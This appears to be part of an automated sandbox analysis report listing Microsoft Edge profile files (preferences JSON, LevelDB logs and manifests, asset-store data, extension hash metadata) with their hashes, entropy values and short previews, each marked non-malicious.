Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Reputation:	unknown
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0c491527-c667-43d3-bc69-6644fde0ff14.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111488193925085
Encrypted:	false
SSDEEP:	192:stFkdpbsfTyaNP9km6M8+bV+FXeQAUZ+P/YJ:stFQbsfTtJtbGOQH/
MD5:	4E74BEA7A5FB3D5F06E30D6D680F507F
SHA1:	B3F4F1C246F785FFA47C692777A7DDFFC06DA751
SHA-256:	2DD620BB5F3E7CBF5B1F53A152ECC01BC36EBAD510A4B4F804DFCCA8B6657FAA
SHA-512:	0DC2CF636CBF8CE92A86C6F2D106BFDD8151C9194FFDBF2EF3F847568AF4B5ADC5F5C406D160E2A4F0F4ECFE2D84EDD38A18B4299EFE712214AEA29D920C6587
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1642a852-8ea4-481d-b9c8-b087ddf0734d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13047
Entropy (8bit):	5.285479367455991
Encrypted:	false
SSDEEP:	192:stFJ99QTryDigabatSuypbsfTyaNPdchYkm6M8+bV+FXeQAUZ+P/YJ:stFPGKSu4bsfTtJd48bGOQH/
MD5:	0F5AA885340EA7EF7FAD8BB392431781
SHA1:	5FB247266E81842DCA1519AEC4644DBC3911292D
SHA-256:	7336E6519E546AB3036BC7452587442F2F3F34FFE234F8E3E3D60F3136877F55
SHA-512:	C5D714F908FFB04660A88012EC63A9958FA5EB89FCFC6F15FA6399A83E91E3B1A8B3CC1BC344C911D9A78599A49B7F73523E82C2CDBB92DB151FF86FC9550826
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7ee66a7c-0162-49de-b966-011988496d54.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\80270043-8ccc-4559-99a8-6bfa37ec5a02.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17490), with no line terminators
Category:	dropped
Size (bytes):	17494
Entropy (8bit):	5.498035439037945
Encrypted:	false
SSDEEP:	192:stFJ99QTryDiuabatSuypbsfTyaNPdchYktNHBRsKF8pphGGM8+bV+FXeQwKv2+s:stFPGQSu4bsfTtJd4zzKp3GtbGOQwY2/
MD5:	C9B5CCB12BAB87D611291CA95507B9D2
SHA1:	65C9FB08966FAF8BF371964361C6EB73A4A6354C
SHA-256:	DC61A2F83F83DDC0756F57C3402C7A5FEBA80E94C5365A0BE411C6AAD644FDCA
SHA-512:	66D44D7B2DADCE4B8D016FE39D239A9E59E688466EB0E816A7E9FFE8C86BEAE858E7E2D042C361304CCBCB6CA75F1B512BB1741539D697D78504728BC355F17D
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\97e17d3b-ab40-49cf-960e-8a36f9d9c3bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17325), with no line terminators
Category:	dropped
Size (bytes):	17329
Entropy (8bit):	5.501402691964081
Encrypted:	false
SSDEEP:	192:stFJ99QTryDiuabatSuypbsfTyaNPdchYktNHBRsKF8pphGGM8+bV+FXeQwKxZ+s:stFPGQSu4bsfTtJd4zzKp3GtbGOQwU/
MD5:	6D6B375A68CB85B4479438F20F325106
SHA1:	9B2B16E7D04DF8E8A931BA86B9C5EDE93223BEFE
SHA-256:	75F213C824687F000359A4EC93F30804ED9F75BF8ABA15E2982188BC90792491
SHA-512:	7A999F66EDA23EDFCFC39A3FE672CE07EFA9B2749015DE5C8DD10D6205A51FB7F00E962E353EDDBE2B19923674B721F4C1A9CD4DCA9F6CFD5EA1564E7EB37A17
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\98563663-9e47-49cf-a35d-dd7c7aa10b8a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561305690545528
Encrypted:	false
SSDEEP:	768:ZaAp7U7pLGLPp/WPhRfYg8F1+UoAYDCx9Tuqh0VfUC9xbog/OVAuONTDArwK9X+m:ZaAp7YcPp/WPhRfYgu1jaFuOlDxK9X+m
MD5:	CAB35B82433049046500527F144E82F1
SHA1:	D19B3123588AFB9D269C2CBBB2710DFAEA7B2429
SHA-256:	93A5D32707ACBBD3D288C52378ED659B2FB9F2D3912F5BF738FBC7F30C5E4F41
SHA-512:	DF9BA67C005C2D4D308CCFF682B693F9205E0C3F09A152C824855F0C83ED7FDB31AA2D958299C0B5CBBE9C3D172356FF7803C2EDD4A6D4F22F50B7D0D7BE23E6
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377131555635919","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377131555635919","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040637284977978
Encrypted:	false
SSDEEP:	24576:kaf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kafgAmmE
MD5:	882D11A39729A2D8AF2BDD01A6190A78
SHA1:	87B32646CE2351BC94565BAD0BE181F98D7E763F
SHA-256:	AFC154677CA9C301FDCAA75E0118CDB29080AC4A2B67943C6E402D91FA380268
SHA-512:	736248840D5FD4B6AA2FD2E1D0B1AB61325FE2113EEACBC5BC803E17CFD7E1D20B788FF3A6A8286508673E3FD0AF1CC682FFCE1358819CF96E9370BFA94D8AAF
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.165870688046043
Encrypted:	false
SSDEEP:	6:HNd3+q2PcNwi23oH+Tcwt9Eh1tIFUt8YND/WZmw+YNnaVkwOcNwi23oH+Tcwt9Er:td3+vLZYeb9Eh16FUt8uD/W/+unaV54G
MD5:	AD5DB7D435CD9283FC1BCFD666E5FADA
SHA1:	30F680B0198F48254312C1B90E3242B2DA6A3FBA
SHA-256:	5F1E8D3D6784785614FD3652DC6F5AAF009C433DD1C607AFCBDF7BC1B5541945
SHA-512:	B1995ADE43AEFBA4572C7518A7B000800BA965CF7268A8D8F686A43125E30AB14124CAB33B8DB786913D776896D6C72AD9EF7EA5D6896BFC8620B56862783768
Malicious:	false
Reputation:	unknown
Preview:	2024/11/26-16:52:40.741 213c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/26-16:52:40.744 213c Recovering log #3.2024/11/26-16:52:40.748 213c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.165870688046043
Encrypted:	false
SSDEEP:	6:HNd3+q2PcNwi23oH+Tcwt9Eh1tIFUt8YND/WZmw+YNnaVkwOcNwi23oH+Tcwt9Er:td3+vLZYeb9Eh16FUt8uD/W/+unaV54G
MD5:	AD5DB7D435CD9283FC1BCFD666E5FADA
SHA1:	30F680B0198F48254312C1B90E3242B2DA6A3FBA
SHA-256:	5F1E8D3D6784785614FD3652DC6F5AAF009C433DD1C607AFCBDF7BC1B5541945
SHA-512:	B1995ADE43AEFBA4572C7518A7B000800BA965CF7268A8D8F686A43125E30AB14124CAB33B8DB786913D776896D6C72AD9EF7EA5D6896BFC8620B56862783768
Malicious:	false
Reputation:	unknown
Preview:	2024/11/26-16:52:40.741 213c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/26-16:52:40.744 213c Recovering log #3.2024/11/26-16:52:40.748 213c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354121134207229
Encrypted:	false
SSDEEP:	6144:VA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:VFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	E973CA3F16491FFC6AA174A95449018B
SHA1:	80B10B35CAFD4484D56E3C5DD122C526185CEBF0
SHA-256:	54FBA54B35EFEB0BAFC39C799688A927D918875D77640CEB5CAE03C9C99C207F
SHA-512:	24F556CA52D7561AC9F7ED69A645562A7FB44E3B23104EE39E26CA007D84FAF853CE24F4D39B7AB4A38C77E7C8D2A5309CDC7C79786857DD539EE81B89E0F25C
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1['..q...............&QUERY_TIMESTAMP:domains_config_gz2...13377131563785575..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.190042782997814
Encrypted:	false
SSDEEP:	6:HN7A1cNwi23oH+Tcwtk2WwnvB2KLlVNbdtXyq2PcNwi23oH+Tcwtk2WwnvIFUv:tuZYebkxwnvFLlbyvLZYebkxwnQFUv
MD5:	C57D66EEF081DA87B99B4B3232424775
SHA1:	2D4E8B3B5834561E523A1D264C0DC3A9D0487C38
SHA-256:	E95E7F02B0A50873EC720513FB8E0E8C7BF69B098D746EF0FA185CB6409DB77A
SHA-512:	84039A5B0167F51B68D26DE42F0A5B5EED8AFA2377E23401FA28DCAD1B16B3B105B90F4B953F537ECC0EFF87D7CCAF8A6A538C40DDB21FC774D382B2C7357F81
Malicious:	false
Reputation:	unknown
Preview:	2024/11/26-16:52:40.749 2150 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/26-16:52:40.818 2150 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324620679507304
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R9:C1gAg1zfvF
MD5:	BEAC024B050AF30EC8616A76E047A4BD
SHA1:	9BB324DCB52469F03E96961E1640F8D730BBE416
SHA-256:	1D4D0C9AFB8E169AF6C4356444B954EAC9DDD170EF54A56858C2199A97E05531
SHA-512:	A34C643C2F48298158335131312F040B91B0A267042EAD41BD1951EB5FE16D470063C69813FC11E88F7430AEA098EDAE713957E8D81AA5225719081E477C47EE
Malicious:	false
Reputation:	unknown
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Reputation:	unknown
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
